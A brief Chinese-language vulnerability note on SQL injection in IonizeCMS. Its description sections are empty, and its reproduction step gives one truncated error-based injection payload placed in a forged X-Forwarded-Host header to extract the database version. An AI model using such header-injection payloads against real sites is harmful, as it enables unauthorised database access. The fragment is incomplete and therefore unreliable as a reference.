002-IonizeCMS sql注入.md

259 B / 2021-07-17 00:01:22

    ## IonizeCMS sql注入

### 一、漏洞简介

### 二、漏洞影响

### 三、复现过程

伪造HTTP头注入 在抓包哇：


```
X-Forwarded-Host: 'and(select 1 from(select count(*),concat((select concat(0x5e5e5e,version(),0x5e5e5e) from informat
```